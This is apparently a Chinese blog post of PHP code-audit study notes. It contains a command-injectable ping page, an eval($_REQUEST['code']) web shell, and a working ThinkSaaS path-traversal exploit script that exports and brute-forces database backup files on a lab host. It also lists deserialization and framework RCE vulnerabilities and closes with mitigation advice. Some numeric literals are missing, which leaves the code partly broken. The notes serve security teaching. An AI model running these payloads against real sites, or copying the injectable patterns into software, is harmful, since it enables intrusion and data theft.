应用安全 - 代码审计 - PHP
2024-10-07 10:56:54
RCE
RCE函数
eval、preg_replace + /e模式、assertJavascript:evalVbscript: Execute、EvalPython:exec
<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php'); ?>
<br/><b>Ping:</b>Please Enter Domain Name or IP Address: <br/><br/>
<form action="cmd.php" method="get">
<input type="text" name="host" value=""/>
<br/><br/><input type="submit" name="Go" value="Go"/>
</form>
<br/> <?php
if(isset($_GET['host']))
{
if(strtoupper(substr(PHP_OS, , )) === 'WIN')
{
$result=shell_exec("ping ".$_GET['host']);
}
else
{
$result=shell_exec("ping -c 4 ".$_GET['host']);
} echo "<b>Result:</b></br><pre>".$result."</pre>";
}
?> <?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>
<?php
eval($_REQUEST['code']);
?>
LFI -》 备份文件下载
<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
tsNotice('sorry:no plugin!');
} defined('IN_TS') or die('Access Denied.');
switch($ts){
case "": //输出备份文件
$arrSqlFile = tsScanDir('data/baksql','file'); include template('sql');
break; //优化
case "optimize":
$arrTables = $db->fetch_all_assoc("SHOW TABLES");
foreach($arrTables as $key=>$item){
$db->query("OPTIMIZE TABLE `".$item."` ");
}
qiMsg('优化数据库成功!');
break; //备份导出
case "export": require_once 'thinksaas/DbManage.php';
$bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
$bakdb->backup ('','data/baksql/'); qiMsg('数据库备份完毕!'); break; ?php
date_default_timezone_set('Asia/Hong_Kong');
$url = "http://192.168.116.129/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export";
file_get_contents($url);
$time = date('YmdHis');
for($i = $time; $i <= $time + ; $i++){
$filename = $i ."_all_v1.sql";
$url = "http://192.168.116.129/thinksaas/data/baksql/".$filename;
if (@file_get_contents($url, null, null, -, )){
echo $url;
}
}
?>
php绕过MD5 - 科学计数法绕过
php绕过MD5 - 数组全等绕过
PHP版本漏洞
PHP5..x 00截断 例如url输入的文件名1.txt%.jpg经过url转码后会变为1.txt\.jpg
反序列化
常见魔术方法
__construct()
,__destruct()
,__call()
,__callStatic()
,__get()
, __set()
, __isset()
,__unset()
,__sleep()
,__wakeup()
,__toString()
,__invoke()
,__set_state()
,__clone(),
__debugInfo()
逻辑判断 -
CVE-2016-7124(__wakeup()魔术方法绕过) 漏洞影响版本:PHP5 < 5.6.25 | PHP7 < 7.0.1
框架反序列化
Joomla反序列化漏洞
框架漏洞
thinkphp thinkphp5远程代码执行漏洞
修复 - 》 ThinkPHP .0系列升级到 5.0. ,ThinkPHP .1系列升级到 5.1.
RCE - 防御
防御
. 尽量少用执行命令的函数或者直接禁用
. 参数值尽量使用引号包括
. 在使用动态函数之前,确保使用的函数是指定的函数之一
. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
. 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置
最新文章
- 通过扩展让ASP.NET Web API支持W3C的CORS规范
- extJs学习基础5 理解mvvm的一个小案例
- 【py】配置python环境
- hdu 1226 超级密码(bfs+余数判重)
- Mail搭建
- time wait duo
- mig_ddr4_ultrascale
- 【iOS】iOS之Button segue弹出popOver消除(dismiss)问题
- Regular expression cheat sheet
- OC 数组
- 识别Andriod APK签名证书类型
- hdu 3415 Max Sum of Max-K-sub-sequence(单调队列)
- iOS开发 改变UINavigationController的UINavigationBar的高度和背景图片
- IE浏览器兼容的常见问题及解决方案
- nodejs操作 mongoose(mongodb)和Sequelize(mysql)查询数据后添加新属性未生效
- Delphi Exif
- java_GPS数据处理
- oracle的DBMS_JOB相关知识
- Jenkins持久化集成使用
- Spring中默认bean名称的生成策略/方式修改